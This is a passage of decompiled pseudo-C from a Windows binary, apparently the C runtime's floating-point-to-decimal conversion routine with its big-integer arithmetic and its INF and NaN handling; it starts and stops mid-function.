				void* _t1114;
				intOrPtr _t1116;
				signed int _t1117;
				signed int _t1118;
				signed int _t1119;
				signed int* _t1123;
				void* _t1127;
				void* _t1128;
				signed int _t1129;
				signed int _t1130;
				signed int _t1131;
				signed int _t1134;
				signed int _t1135;
				signed int _t1140;
				void* _t1142;
				signed int _t1143;
				signed int _t1146;
				char _t1151;
				signed int _t1153;
				signed int _t1154;
				signed int _t1155;
				signed int _t1156;
				signed int _t1157;
				signed int _t1158;
				signed int _t1159;
				signed int _t1163;
				signed int _t1164;
				signed int _t1165;
				signed int _t1166;
				signed int _t1167;
				unsigned int _t1170;
				void* _t1174;
				void* _t1175;
				unsigned int _t1176;
				signed int _t1181;
				signed int _t1182;
				signed int _t1184;
				signed int _t1185;
				intOrPtr* _t1187;
				signed int _t1188;
				signed int _t1190;
				signed int _t1191;
				signed int _t1194;
				signed int _t1196;
				signed int _t1197;
				void* _t1198;
				signed int _t1199;
				signed int _t1200;
				signed int _t1201;
				void* _t1204;
				signed int _t1205;
				signed int _t1206;
				signed int _t1207;
				signed int _t1208;
				signed int _t1209;
				signed int* _t1212;
				signed int _t1213;
				signed int _t1214;
				signed int _t1215;
				signed int _t1216;
				intOrPtr* _t1218;
				intOrPtr* _t1219;
				signed int _t1221;
				signed int _t1223;
				signed int _t1226;
				signed int _t1232;
				signed int _t1236;
				signed int _t1237;
				signed int _t1242;
				signed int _t1245;
				signed int _t1246;
				signed int _t1247;
				signed int _t1248;
				signed int _t1249;
				signed int _t1250;
				signed int _t1252;
				signed int _t1253;
				signed int _t1254;
				signed int _t1255;
				signed int _t1257;
				signed int _t1258;
				signed int _t1259;
				signed int _t1260;
				signed int _t1261;
				signed int _t1263;
				signed int _t1264;
				signed int _t1266;
				signed int _t1268;
				signed int _t1270;
				signed int _t1273;
				signed int _t1275;
				signed int* _t1276;
				signed int* _t1279;
				signed int _t1288;

				_t1142 = __edx;
				_t1273 = _t1275;
				_t1276 = _t1275 - 0x964;
				_t743 =  *0x138d668; // 0xea6a5ad2
				_v8 = _t743 ^ _t1273;
				_t1055 = _a20;
				_push(__esi);
				_push(__edi);
				_t1187 = _a16;
				_v1924 = _t1187;
				_v1920 = _t1055;
				E0137C078( &_v1944, __eflags);
				_t1236 = _a8;
				_t748 = 0x2d;
				if((_t1236 & 0x80000000) == 0) {
					_t748 = 0x120;
				}
				 *_t1187 = _t748;
				 *((intOrPtr*)(_t1187 + 8)) = _t1055;
				_t1188 = _a4;
				if((_t1236 & 0x7ff00000) != 0) {
					L5:
					_t753 = E013786BF( &_a4);
					_pop(_t1070);
					__eflags = _t753;
					if(_t753 != 0) {
						_t1070 = _v1924;
						 *((intOrPtr*)(_v1924 + 4)) = 1;
					}
					_t754 = _t753 - 1;
					__eflags = _t754;
					if(_t754 == 0) {
						_push("1#INF");
						goto L308;
					} else {
						_t777 = _t754 - 1;
						__eflags = _t777;
						if(_t777 == 0) {
							_push("1#QNAN");
							goto L308;
						} else {
							_t778 = _t777 - 1;
							__eflags = _t778;
							if(_t778 == 0) {
								_push("1#SNAN");
								goto L308;
							} else {
								__eflags = _t778 == 1;
								if(_t778 == 1) {
									_push("1#IND");
									goto L308;
								} else {
									_v1928 = _v1928 & 0x00000000;
									_a4 = _t1188;
									_a8 = _t1236 & 0x7fffffff;
									_t1288 = _a4;
									asm("fst qword [ebp-0x768]");
									_t1190 = _v1896;
									_v1916 = _a12 + 1;
									_t1077 = _t1190 >> 0x14;
									_t784 = _t1077 & 0x000007ff;
									__eflags = _t784;
									if(_t784 != 0) {
										_t1143 = 0;
										_t784 = 0;
										__eflags = 0;
									} else {
										_t1143 = 1;
									}
									_t1191 = _t1190 & 0x000fffff;
									_t1058 = _v1900 + _t784;
									asm("adc edi, esi");
									__eflags = _t1143;
									_t1078 = _t1077 & 0x000007ff;
									_t1242 = _t1078 - 0x434 + (0 | _t1143 != 0x00000000) + 1;
									_v1872 = _t1242;
									E0137E0C0(_t1078, _t1288);
									_push(_t1078);
									_push(_t1078);
									 *_t1276 = _t1288;
									_t790 = E01380F10(E0137E1D0(_t1191, _t1242), _t1288);
									_v1904 = _t790;
									__eflags = _t790 - 0x7fffffff;
									if(_t790 == 0x7fffffff) {
										L16:
										__eflags = 0;
										_v1904 = 0;
									} else {
										__eflags = _t790 - 0x80000000;
										if(_t790 == 0x80000000) {
											goto L16;
										}
									}
									_v468 = _t1058;
									__eflags = _t1191;
									_v464 = _t1191;
									_t1061 = (0 | _t1191 != 0x00000000) + 1;
									_v472 = _t1061;
									__eflags = _t1242;
									if(_t1242 < 0) {
										__eflags = _t1242 - 0xfffffc02;
										if(_t1242 == 0xfffffc02) {
											L101:
											_t792 =  *((intOrPtr*)(_t1273 + _t1061 * 4 - 0x1d4));
											_t195 =  &_v1896;
											 *_t195 = _v1896 & 0x00000000;
											__eflags =  *_t195;
											asm("bsr eax, eax");
											if( *_t195 == 0) {
												_t1081 = 0;
												__eflags = 0;
											} else {
												_t1081 = _t792 + 1;
											}
											_t793 = 0x20;
											_t794 = _t793 - _t1081;
											__eflags = _t794 - 1;
											_t795 = _t794 & 0xffffff00 | _t794 - 0x00000001 > 0x00000000;
											__eflags = _t1061 - 0x73;
											_v1865 = _t795;
											_t1082 = _t1081 & 0xffffff00 | _t1061 - 0x00000073 > 0x00000000;
											__eflags = _t1061 - 0x73;
											if(_t1061 != 0x73) {
												L107:
												_t796 = 0;
												__eflags = 0;
											} else {
												__eflags = _t795;
												if(_t795 == 0) {
													goto L107;
												} else {
													_t796 = 1;
												}
											}
											__eflags = _t1082;
											if(_t1082 != 0) {
												L126:
												_v1400 = _v1400 & 0x00000000;
												_t224 =  &_v472;
												 *_t224 = _v472 & 0x00000000;
												__eflags =  *_t224;
												E0137AA64( &_v468, 0x1cc,  &_v1396, 0);
												_t1276 =  &(_t1276[4]);
											} else {
												__eflags = _t796;
												if(_t796 != 0) {
													goto L126;
												} else {
													_t1109 = 0x72;
													__eflags = _t1061 - _t1109;
													if(_t1061 < _t1109) {
														_t1109 = _t1061;
													}
													__eflags = _t1109 - 0xffffffff;
													if(_t1109 != 0xffffffff) {
														_t1260 = _t1109;
														_t1218 =  &_v468 + _t1109 * 4;
														_v1880 = _t1218;
														while(1) {
															__eflags = _t1260 - _t1061;
															if(_t1260 >= _t1061) {
																_t208 =  &_v1876;
																 *_t208 = _v1876 & 0x00000000;
																__eflags =  *_t208;
															} else {
																_v1876 =  *_t1218;
															}
															_t210 = _t1260 - 1; // 0x70
															__eflags = _t210 - _t1061;
															if(_t210 >= _t1061) {
																_t1170 = 0;
																__eflags = 0;
															} else {
																_t1170 =  *(_t1218 - 4);
															}
															_t1218 = _t1218 - 4;
															_t972 = _v1880;
															_t1260 = _t1260 - 1;
															 *_t972 = _t1170 >> 0x0000001f ^ _v1876 + _v1876;
															_v1880 = _t972 - 4;
															__eflags = _t1260 - 0xffffffff;
															if(_t1260 == 0xffffffff) {
																break;
															}
															_t1061 = _v472;
														}
														_t1242 = _v1872;
													}
													__eflags = _v1865;
													if(_v1865 == 0) {
														_v472 = _t1109;
													} else {
														_t218 = _t1109 + 1; // 0x73
														_v472 = _t218;
													}
												}
											}
											_t1194 = 1 - _t1242;
											E0136E920(_t1194,  &_v1396, 0, 1);
											__eflags = 1;
											 *(_t1273 + 0xbad63d) = 1 << (_t1194 & 0x0000001f);
											_t805 = 0xbadbae;
										} else {
											_v1396 = _v1396 & 0x00000000;
											_t1110 = 2;
											_v1392 = 0x100000;
											_v1400 = _t1110;
											__eflags = _t1061 - _t1110;
											if(_t1061 == _t1110) {
												_t1174 = 0;
												__eflags = 0;
												while(1) {
													_t974 =  *((intOrPtr*)(_t1273 + _t1174 - 0x570));
													__eflags = _t974 -  *((intOrPtr*)(_t1273 + _t1174 - 0x1d0));
													if(_t974 !=  *((intOrPtr*)(_t1273 + _t1174 - 0x1d0))) {
														goto L101;
													}
													_t1174 = _t1174 + 4;
													__eflags = _t1174 - 8;
													if(_t1174 != 8) {
														continue;
													} else {
														_t166 =  &_v1896;
														 *_t166 = _v1896 & 0x00000000;
														__eflags =  *_t166;
														asm("bsr eax, edi");
														if( *_t166 == 0) {
															_t1175 = 0;
															__eflags = 0;
														} else {
															_t1175 = _t974 + 1;
														}
														_t975 = 0x20;
														_t1261 = _t1110;
														__eflags = _t975 - _t1175 - _t1110;
														_t977 =  &_v460;
														_v1880 = _t977;
														_t1219 = _t977;
														_t171 =  &_v1865;
														 *_t171 = _t975 - _t1175 - _t1110 > 0;
														__eflags =  *_t171;
														while(1) {
															__eflags = _t1261 - _t1061;
															if(_t1261 >= _t1061) {
																_t173 =  &_v1876;
																 *_t173 = _v1876 & 0x00000000;
																__eflags =  *_t173;
															} else {
																_v1876 =  *_t1219;
															}
															_t175 = _t1261 - 1; // 0x0
															__eflags = _t175 - _t1061;
															if(_t175 >= _t1061) {
																_t1176 = 0;
																__eflags = 0;
															} else {
																_t1176 =  *(_t1219 - 4);
															}
															_t1219 = _t1219 - 4;
															_t981 = _v1880;
															_t1261 = _t1261 - 1;
															 *_t981 = _t1176 >> 0x0000001e ^ _v1876 << 0x00000002;
															_v1880 = _t981 - 4;
															__eflags = _t1261 - 0xffffffff;
															if(_t1261 == 0xffffffff) {
																break;
															}
															_t1061 = _v472;
														}
														__eflags = _v1865;
														_t1111 = _t1110 - _v1872;
														_v472 = (0 | _v1865 != 0x00000000) + _t1110;
														_t1221 = _t1111 >> 5;
														_v1884 = _t1111;
														_t1263 = _t1221 << 2;
														E0136E920(_t1221,  &_v1396, 0, _t1263);
														 *(_t1273 + _t1263 - 0x570) = 1 << (_v1884 & 0x0000001f);
														_t805 = _t1221 + 1;
													}
													goto L128;
												}
											}
											goto L101;
										}
										L128:
										_v1400 = _t805;
										_t1064 = 0x1cc;
										_v936 = _t805;
										__eflags = _t805 << 2;
										E0137AA64( &_v932, 0x1cc,  &_v1396, _t805 << 2);
										_t1279 =  &(_t1276[7]);
									} else {
										_v1396 = _v1396 & 0x00000000;
										_t1264 = 2;
										_v1392 = 0x100000;
										_v1400 = _t1264;
										__eflags = _t1061 - _t1264;
										if(_t1061 != _t1264) {
											L53:
											_t992 = _v1872 + 1;
											_t993 = _t992 & 0x0000001f;
											_t1114 = 0x20;
											_v1876 = _t993;
											_t1223 = _t992 >> 5;
											_v1872 = _t1223;
											_v1908 = _t1114 - _t993;
											_t996 = E0136DDA0(1, _t1114 - _t993, 0);
											_t1116 =  *((intOrPtr*)(_t1273 + _t1061 * 4 - 0x1d4));
											_t997 = _t996 - 1;
											_t108 =  &_v1896;
											 *_t108 = _v1896 & 0x00000000;
											__eflags =  *_t108;
											asm("bsr ecx, ecx");
											_v1884 = _t997;
											_v1912 =  !_t997;
											if( *_t108 == 0) {
												_t1117 = 0;
												__eflags = 0;
											} else {
												_t1117 = _t1116 + 1;
											}
											_t999 = 0x20;
											_t1000 = _t999 - _t1117;
											_t1181 = _t1061 + _t1223;
											__eflags = _v1876 - _t1000;
											_v1892 = _t1181;
											_t1001 = _t1000 & 0xffffff00 | _v1876 - _t1000 > 0x00000000;
											__eflags = _t1181 - 0x73;
											_v1865 = _t1001;
											_t1118 = _t1117 & 0xffffff00 | _t1181 - 0x00000073 > 0x00000000;
											__eflags = _t1181 - 0x73;
											if(_t1181 != 0x73) {
												L59:
												_t1002 = 0;
												__eflags = 0;
											} else {
												__eflags = _t1001;
												if(_t1001 == 0) {
													goto L59;
												} else {
													_t1002 = 1;
												}
											}
											__eflags = _t1118;
											if(_t1118 != 0) {
												L81:
												__eflags = 0;
												_t1064 = 0x1cc;
												_v1400 = 0;
												_v472 = 0;
												E0137AA64( &_v468, 0x1cc,  &_v1396, 0);
												_t1276 =  &(_t1276[4]);
											} else {
												__eflags = _t1002;
												if(_t1002 != 0) {
													goto L81;
												} else {
													_t1119 = 0x72;
													__eflags = _t1181 - _t1119;
													if(_t1181 >= _t1119) {
														_t1181 = _t1119;
														_v1892 = _t1119;
													}
													_t1012 = _t1181;
													_v1880 = _t1012;
													__eflags = _t1181 - 0xffffffff;
													if(_t1181 != 0xffffffff) {
														_t1182 = _v1872;
														_t1266 = _t1181 - _t1182;
														__eflags = _t1266;
														_t1123 =  &_v468 + _t1266 * 4;
														_v1888 = _t1123;
														while(1) {
															__eflags = _t1012 - _t1182;
															if(_t1012 < _t1182) {
																break;
															}
															__eflags = _t1266 - _t1061;
															if(_t1266 >= _t1061) {
																_t1226 = 0;
																__eflags = 0;
															} else {
																_t1226 =  *_t1123;
															}
															__eflags = _t1266 - 1 - _t1061;
															if(_t1266 - 1 >= _t1061) {
																_t1017 = 0;
																__eflags = 0;
															} else {
																_t1017 =  *(_t1123 - 4);
															}
															_t1020 = _v1880;
															_t1123 = _v1888 - 4;
															_v1888 = _t1123;
															 *(_t1273 + _t1020 * 4 - 0x1d0) = (_t1226 & _v1884) << _v1876 | (_t1017 & _v1912) >> _v1908;
															_t1012 = _t1020 - 1;
															_t1266 = _t1266 - 1;
															_v1880 = _t1012;
															__eflags = _t1012 - 0xffffffff;
															if(_t1012 != 0xffffffff) {
																_t1061 = _v472;
																continue;
															}
															break;
														}
														_t1181 = _v1892;
														_t1223 = _v1872;
														_t1264 = 2;
													}
													__eflags = _t1223;
													if(_t1223 != 0) {
														__eflags = 0;
														memset( &_v468, 0, _t1223 << 2);
														_t1276 =  &(_t1276[3]);
													}
													__eflags = _v1865;
													_t1064 = 0x1cc;
													if(_v1865 == 0) {
														_v472 = _t1181;
													} else {
														_v472 = _t1181 + 1;
													}
												}
											}
											_v1392 = _v1392 & 0x00000000;
											_v1396 = _t1264;
											_v1400 = 1;
											_v936 = 1;
											_push(4);
										} else {
											_t1127 = 0;
											__eflags = 0;
											while(1) {
												__eflags =  *((intOrPtr*)(_t1273 + _t1127 - 0x570)) -  *((intOrPtr*)(_t1273 + _t1127 - 0x1d0));
												if( *((intOrPtr*)(_t1273 + _t1127 - 0x570)) !=  *((intOrPtr*)(_t1273 + _t1127 - 0x1d0))) {
													goto L53;
												}
												_t1127 = _t1127 + 4;
												__eflags = _t1127 - 8;
												if(_t1127 != 8) {
													continue;
												} else {
													_t1023 = _v1872 + 2;
													_t1024 = _t1023 & 0x0000001f;
													_t1128 = 0x20;
													_t1129 = _t1128 - _t1024;
													_v1888 = _t1024;
													_t1268 = _t1023 >> 5;
													_v1876 = _t1268;
													_v1908 = _t1129;
													_t1027 = E0136DDA0(1, _t1129, 0);
													_v1896 = _v1896 & 0x00000000;
													_t1028 = _t1027 - 1;
													__eflags = _t1028;
													asm("bsr ecx, edi");
													_v1884 = _t1028;
													_v1912 =  !_t1028;
													if(_t1028 == 0) {
														_t1130 = 0;
														__eflags = 0;
													} else {
														_t1130 = _t1129 + 1;
													}
													_t1030 = 0x20;
													_t1031 = _t1030 - _t1130;
													_t1184 = _t1268 + 2;
													__eflags = _v1888 - _t1031;
													_v1880 = _t1184;
													_t1032 = _t1031 & 0xffffff00 | _v1888 - _t1031 > 0x00000000;
													__eflags = _t1184 - 0x73;
													_v1865 = _t1032;
													_t1131 = _t1130 & 0xffffff00 | _t1184 - 0x00000073 > 0x00000000;
													__eflags = _t1184 - 0x73;
													if(_t1184 != 0x73) {
														L28:
														_t1033 = 0;
														__eflags = 0;
													} else {
														__eflags = _t1032;
														if(_t1032 == 0) {
															goto L28;
														} else {
															_t1033 = 1;
														}
													}
													__eflags = _t1131;
													if(_t1131 != 0) {
														L50:
														__eflags = 0;
														_t1064 = 0x1cc;
														_v1400 = 0;
														_v472 = 0;
														E0137AA64( &_v468, 0x1cc,  &_v1396, 0);
														_t1276 =  &(_t1276[4]);
													} else {
														__eflags = _t1033;
														if(_t1033 != 0) {
															goto L50;
														} else {
															_t1134 = 0x72;
															__eflags = _t1184 - _t1134;
															if(_t1184 >= _t1134) {
																_t1184 = _t1134;
																_v1880 = _t1134;
															}
															_t1135 = _t1184;
															_v1892 = _t1135;
															__eflags = _t1184 - 0xffffffff;
															if(_t1184 != 0xffffffff) {
																_t1185 = _v1876;
																_t1270 = _t1184 - _t1185;
																__eflags = _t1270;
																_t1043 =  &_v468 + _t1270 * 4;
																_v1872 = _t1043;
																while(1) {
																	__eflags = _t1135 - _t1185;
																	if(_t1135 < _t1185) {
																		break;
																	}
																	__eflags = _t1270 - _t1061;
																	if(_t1270 >= _t1061) {
																		_t1232 = 0;
																		__eflags = 0;
																	} else {
																		_t1232 =  *_t1043;
																	}
																	__eflags = _t1270 - 1 - _t1061;
																	if(_t1270 - 1 >= _t1061) {
																		_t1045 = 0;
																		__eflags = 0;
																	} else {
																		_t1045 =  *(_v1872 - 4);
																	}
																	_t1140 = _v1892;
																	 *(_t1273 + _t1140 * 4 - 0x1d0) = (_t1045 & _v1912) >> _v1908 | (_t1232 & _v1884) << _v1888;
																	_t1135 = _t1140 - 1;
																	_t1270 = _t1270 - 1;
																	_t1043 = _v1872 - 4;
																	_v1892 = _t1135;
																	_v1872 = _t1043;
																	__eflags = _t1135 - 0xffffffff;
																	if(_t1135 != 0xffffffff) {
																		_t1061 = _v472;
																		continue;
																	}
																	break;
																}
																_t1184 = _v1880;
																_t1268 = _v1876;
															}
															__eflags = _t1268;
															if(_t1268 != 0) {
																__eflags = 0;
																memset( &_v468, 0, _t1268 << 2);
																_t1276 =  &(_t1276[3]);
															}
															__eflags = _v1865;
															_t1064 = 0x1cc;
															if(_v1865 == 0) {
																_v472 = _t1184;
															} else {
																_v472 = _t1184 + 1;
															}
														}
													}
													_v1392 = _v1392 & 0x00000000;
													_t1038 = 4;
													__eflags = 1;
													_v1396 = _t1038;
													_v1400 = 1;
													_v936 = 1;
													_push(_t1038);
												}
												goto L52;
											}
											goto L53;
										}
										L52:
										_push( &_v1396);
										_push(_t1064);
										_push( &_v932);
										E0137AA64();
										_t1279 =  &(_t1276[4]);
									}
									_t810 = _v1904;
									_t1084 = 0xa;
									_v1912 = _t1084;
									__eflags = _t810;
									if(_t810 < 0) {
										_t811 =  ~_t810;
										_t812 = _t811 / _t1084;
										_v1880 = _t812;
										_t1085 = _t811 % _t1084;
										_v1884 = _t1085;
										__eflags = _t812;
										if(_t812 == 0) {
											L249:
											__eflags = _t1085;
											if(_t1085 != 0) {
												_t849 =  *(0x1386a9c + _t1085 * 4);
												_v1896 = _t849;
												__eflags = _t849;
												if(_t849 == 0) {
													L260:
													__eflags = 0;
													_push(0);
													_v472 = 0;
													_v2408 = 0;
													goto L261;
												} else {
													__eflags = _t849 - 1;
													if(_t849 != 1) {
														_t1096 = _v472;
														__eflags = _t1096;
														if(_t1096 != 0) {
															_t1201 = 0;
															_t1250 = 0;
															__eflags = 0;
															do {
																_t1155 = _t849 *  *(_t1273 + _t1250 * 4 - 0x1d0) >> 0x20;
																 *(_t1273 + _t1250 * 4 - 0x1d0) = _t849 *  *(_t1273 + _t1250 * 4 - 0x1d0) + _t1201;
																_t849 = _v1896;
																asm("adc edx, 0x0");
																_t1250 = _t1250 + 1;
																_t1201 = _t1155;
																__eflags = _t1250 - _t1096;
															} while (_t1250 != _t1096);
															__eflags = _t1201;
															if(_t1201 != 0) {
																_t856 = _v472;
																__eflags = _t856 - 0x73;
																if(_t856 >= 0x73) {
																	goto L260;
																} else {
																	 *(_t1273 + _t856 * 4 - 0x1d0) = _t1201;
																	_v472 = _v472 + 1;
																}
															}
														}
													}
												}
											}
										} else {
											do {
												__eflags = _t812 - 0x26;
												if(_t812 > 0x26) {
													_t812 = 0x26;
												}
												_t1097 =  *(0x1386a06 + _t812 * 4) & 0x000000ff;
												_v1872 = _t812;
												_v1400 = ( *(0x1386a06 + _t812 * 4) & 0x000000ff) + ( *(0x1386a07 + _t812 * 4) & 0x000000ff);
												E0136E920(_t1097 << 2,  &_v1396, 0, _t1097 << 2);
												_t867 = E0136EA80( &(( &_v1396)[_t1097]), 0x1386100 + ( *(0x1386a04 + _v1872 * 4) & 0x0000ffff) * 4, ( *(0x1386a07 + _t812 * 4) & 0x000000ff) << 2);
												_t1098 = _v1400;
												_t1279 =  &(_t1279[6]);
												_v1892 = _t1098;
												__eflags = _t1098 - 1;
												if(_t1098 > 1) {
													__eflags = _v472 - 1;
													if(_v472 > 1) {
														__eflags = _t1098 - _v472;
														_t1204 =  &_v1396;
														_t868 = _t867 & 0xffffff00 | _t1098 - _v472 > 0x00000000;
														__eflags = _t868;
														if(_t868 != 0) {
															_t1156 =  &_v468;
														} else {
															_t1204 =  &_v468;
															_t1156 =  &_v1396;
														}
														_v1908 = _t1156;
														__eflags = _t868;
														if(_t868 == 0) {
															_t1098 = _v472;
														}
														_v1876 = _t1098;
														__eflags = _t868;
														if(_t868 != 0) {
															_v1892 = _v472;
														}
														_t1157 = 0;
														_t1252 = 0;
														_v1864 = 0;
														__eflags = _t1098;
														if(_t1098 == 0) {
															L243:
															_v472 = _t1157;
															_t870 = _t1157 << 2;
															__eflags = _t870;
															_push(_t870);
															_t871 =  &_v1860;
															goto L244;
														} else {
															_t1205 = _t1204 -  &_v1860;
															__eflags = _t1205;
															_v1928 = _t1205;
															do {
																_t878 =  *(_t1273 + _t1205 + _t1252 * 4 - 0x740);
																_v1896 = _t878;
																__eflags = _t878;
																if(_t878 != 0) {
																	_t879 = 0;
																	_t1206 = 0;
																	_t1099 = _t1252;
																	_v1888 = 0;
																	__eflags = _v1892;
																	if(_v1892 == 0) {
																		L240:
																		__eflags = _t1099 - 0x73;
																		if(_t1099 == 0x73) {
																			goto L258;
																		} else {
																			_t1205 = _v1928;
																			_t1098 = _v1876;
																			goto L242;
																		}
																	} else {
																		while(1) {
																			__eflags = _t1099 - 0x73;
																			if(_t1099 == 0x73) {
																				goto L235;
																			}
																			__eflags = _t1099 - _t1157;
																			if(_t1099 == _t1157) {
																				 *(_t1273 + _t1099 * 4 - 0x740) =  *(_t1273 + _t1099 * 4 - 0x740) & 0x00000000;
																				_t891 = _t879 + 1 + _t1252;
																				__eflags = _t891;
																				_v1864 = _t891;
																				_t879 = _v1888;
																			}
																			_t886 =  *(_v1908 + _t879 * 4);
																			asm("adc edx, 0x0");
																			 *(_t1273 + _t1099 * 4 - 0x740) =  *(_t1273 + _t1099 * 4 - 0x740) + _t886 * _v1896 + _t1206;
																			asm("adc edx, 0x0");
																			_t879 = _v1888 + 1;
																			_t1099 = _t1099 + 1;
																			_v1888 = _t879;
																			_t1206 = _t886 * _v1896 >> 0x20;
																			_t1157 = _v1864;
																			__eflags = _t879 - _v1892;
																			if(_t879 != _v1892) {
																				continue;
																			} else {
																				goto L235;
																			}
																			while(1) {
																				L235:
																				__eflags = _t1206;
																				if(_t1206 == 0) {
																					goto L240;
																				}
																				__eflags = _t1099 - 0x73;
																				if(_t1099 == 0x73) {
																					goto L258;
																				} else {
																					__eflags = _t1099 - _t1157;
																					if(_t1099 == _t1157) {
																						_t558 = _t1273 + _t1099 * 4 - 0x740;
																						 *_t558 =  *(_t1273 + _t1099 * 4 - 0x740) & 0x00000000;
																						__eflags =  *_t558;
																						_t564 = _t1099 + 1; // 0x1
																						_v1864 = _t564;
																					}
																					_t884 = _t1206;
																					_t1206 = 0;
																					 *(_t1273 + _t1099 * 4 - 0x740) =  *(_t1273 + _t1099 * 4 - 0x740) + _t884;
																					_t1157 = _v1864;
																					asm("adc edi, edi");
																					_t1099 = _t1099 + 1;
																					continue;
																				}
																				goto L246;
																			}
																			goto L240;
																		}
																		goto L235;
																	}
																} else {
																	__eflags = _t1252 - _t1157;
																	if(_t1252 == _t1157) {
																		 *(_t1273 + _t1252 * 4 - 0x740) =  *(_t1273 + _t1252 * 4 - 0x740) & _t878;
																		_t526 = _t1252 + 1; // 0x1
																		_t1157 = _t526;
																		_v1864 = _t1157;
																	}
																	goto L242;
																}
																goto L246;
																L242:
																_t1252 = _t1252 + 1;
																__eflags = _t1252 - _t1098;
															} while (_t1252 != _t1098);
															goto L243;
														}
													} else {
														_t1207 = _v468;
														_v472 = _t1098;
														E0137AA64( &_v468, _t1064,  &_v1396, _t1098 << 2);
														_t1279 =  &(_t1279[4]);
														__eflags = _t1207;
														if(_t1207 == 0) {
															goto L203;
														} else {
															__eflags = _t1207 - 1;
															if(_t1207 == 1) {
																goto L245;
															} else {
																__eflags = _v472;
																if(_v472 == 0) {
																	goto L245;
																} else {
																	_t1100 = 0;
																	_v1896 = _v472;
																	_t1253 = 0;
																	__eflags = 0;
																	do {
																		_t900 = _t1207;
																		_t1158 = _t900 *  *(_t1273 + _t1253 * 4 - 0x1d0) >> 0x20;
																		 *(_t1273 + _t1253 * 4 - 0x1d0) = _t900 *  *(_t1273 + _t1253 * 4 - 0x1d0) + _t1100;
																		asm("adc edx, 0x0");
																		_t1253 = _t1253 + 1;
																		_t1100 = _t1158;
																		__eflags = _t1253 - _v1896;
																	} while (_t1253 != _v1896);
																	goto L208;
																}
															}
														}
													}
												} else {
													_t1208 = _v1396;
													__eflags = _t1208;
													if(_t1208 != 0) {
														__eflags = _t1208 - 1;
														if(_t1208 == 1) {
															goto L245;
														} else {
															__eflags = _v472;
															if(_v472 == 0) {
																goto L245;
															} else {
																_t1101 = 0;
																_v1896 = _v472;
																_t1254 = 0;
																__eflags = 0;
																do {
																	_t905 = _t1208;
																	_t1159 = _t905 *  *(_t1273 + _t1254 * 4 - 0x1d0) >> 0x20;
																	 *(_t1273 + _t1254 * 4 - 0x1d0) = _t905 *  *(_t1273 + _t1254 * 4 - 0x1d0) + _t1101;
																	asm("adc edx, 0x0");
																	_t1254 = _t1254 + 1;
																	_t1101 = _t1159;
																	__eflags = _t1254 - _v1896;
																} while (_t1254 != _v1896);
																L208:
																__eflags = _t1100;
																if(_t1100 == 0) {
																	goto L245;
																} else {
																	_t903 = _v472;
																	__eflags = _t903 - 0x73;
																	if(_t903 >= 0x73) {
																		L258:
																		_v2408 = 0;
																		_v472 = 0;
																		E0137AA64( &_v468, _t1064,  &_v2404, 0);
																		_t1279 =  &(_t1279[4]);
																		_t874 = 0;
																	} else {
																		 *(_t1273 + _t903 * 4 - 0x1d0) = _t1100;
																		_v472 = _v472 + 1;
																		goto L245;
																	}
																}
															}
														}
													} else {
														L203:
														_v2408 = 0;
														_v472 = 0;
														_push(0);
														_t871 =  &_v2404;
														L244:
														_push(_t871);
														_push(_t1064);
														_push( &_v468);
														E0137AA64();
														_t1279 =  &(_t1279[4]);
														L245:
														_t874 = 1;
													}
												}
												L246:
												__eflags = _t874;
												if(_t874 == 0) {
													_v2408 = _v2408 & 0x00000000;
													_v472 = _v472 & 0x00000000;
													_push(0);
													L261:
													_push( &_v2404);
													_t852 =  &_v468;
													goto L262;
												} else {
													goto L247;
												}
												goto L263;
												L247:
												_t812 = _v1880 - _v1872;
												__eflags = _t812;
												_v1880 = _t812;
											} while (_t812 != 0);
											_t1085 = _v1884;
											goto L249;
										}
									} else {
										_t908 = _t810 / _t1084;
										_v1908 = _t908;
										_t1102 = _t810 % _t1084;
										_v1896 = _t1102;
										__eflags = _t908;
										if(_t908 == 0) {
											L184:
											__eflags = _t1102;
											if(_t1102 != 0) {
												_t1209 =  *(0x1386a9c + _t1102 * 4);
												__eflags = _t1209;
												if(_t1209 != 0) {
													__eflags = _t1209 - 1;
													if(_t1209 != 1) {
														_t909 = _v936;
														_v1896 = _t909;
														__eflags = _t909;
														if(_t909 != 0) {
															_t1255 = 0;
															_t1103 = 0;
															__eflags = 0;
															do {
																_t910 = _t1209;
																_t1163 = _t910 *  *(_t1273 + _t1103 * 4 - 0x3a0) >> 0x20;
																 *(_t1273 + _t1103 * 4 - 0x3a0) = _t910 *  *(_t1273 + _t1103 * 4 - 0x3a0) + _t1255;
																asm("adc edx, 0x0");
																_t1103 = _t1103 + 1;
																_t1255 = _t1163;
																__eflags = _t1103 - _v1896;
															} while (_t1103 != _v1896);
															__eflags = _t1255;
															if(_t1255 != 0) {
																_t913 = _v936;
																__eflags = _t913 - 0x73;
																if(_t913 >= 0x73) {
																	goto L186;
																} else {
																	 *(_t1273 + _t913 * 4 - 0x3a0) = _t1255;
																	_v936 = _v936 + 1;
																}
															}
														}
													}
												} else {
													L186:
													_v2408 = 0;
													_v936 = 0;
													_push(0);
													goto L190;
												}
											}
										} else {
											do {
												__eflags = _t908 - 0x26;
												if(_t908 > 0x26) {
													_t908 = 0x26;
												}
												_t1104 =  *(0x1386a06 + _t908 * 4) & 0x000000ff;
												_v1888 = _t908;
												_v1400 = ( *(0x1386a06 + _t908 * 4) & 0x000000ff) + ( *(0x1386a07 + _t908 * 4) & 0x000000ff);
												E0136E920(_t1104 << 2,  &_v1396, 0, _t1104 << 2);
												_t926 = E0136EA80( &(( &_v1396)[_t1104]), 0x1386100 + ( *(0x1386a04 + _v1888 * 4) & 0x0000ffff) * 4, ( *(0x1386a07 + _t908 * 4) & 0x000000ff) << 2);
												_t1105 = _v1400;
												_t1279 =  &(_t1279[6]);
												_v1892 = _t1105;
												__eflags = _t1105 - 1;
												if(_t1105 > 1) {
													__eflags = _v936 - 1;
													if(_v936 > 1) {
														__eflags = _t1105 - _v936;
														_t1212 =  &_v1396;
														_t927 = _t926 & 0xffffff00 | _t1105 - _v936 > 0x00000000;
														__eflags = _t927;
														if(_t927 != 0) {
															_t1164 =  &_v932;
														} else {
															_t1212 =  &_v932;
															_t1164 =  &_v1396;
														}
														_v1876 = _t1164;
														__eflags = _t927;
														if(_t927 == 0) {
															_t1105 = _v936;
														}
														_v1880 = _t1105;
														__eflags = _t927;
														if(_t927 != 0) {
															_v1892 = _v936;
														}
														_t1165 = 0;
														_t1257 = 0;
														_v1864 = 0;
														__eflags = _t1105;
														if(_t1105 == 0) {
															L177:
															_v936 = _t1165;
															_t929 = _t1165 << 2;
															__eflags = _t929;
															goto L178;
														} else {
															_t1213 = _t1212 -  &_v1860;
															__eflags = _t1213;
															_v1928 = _t1213;
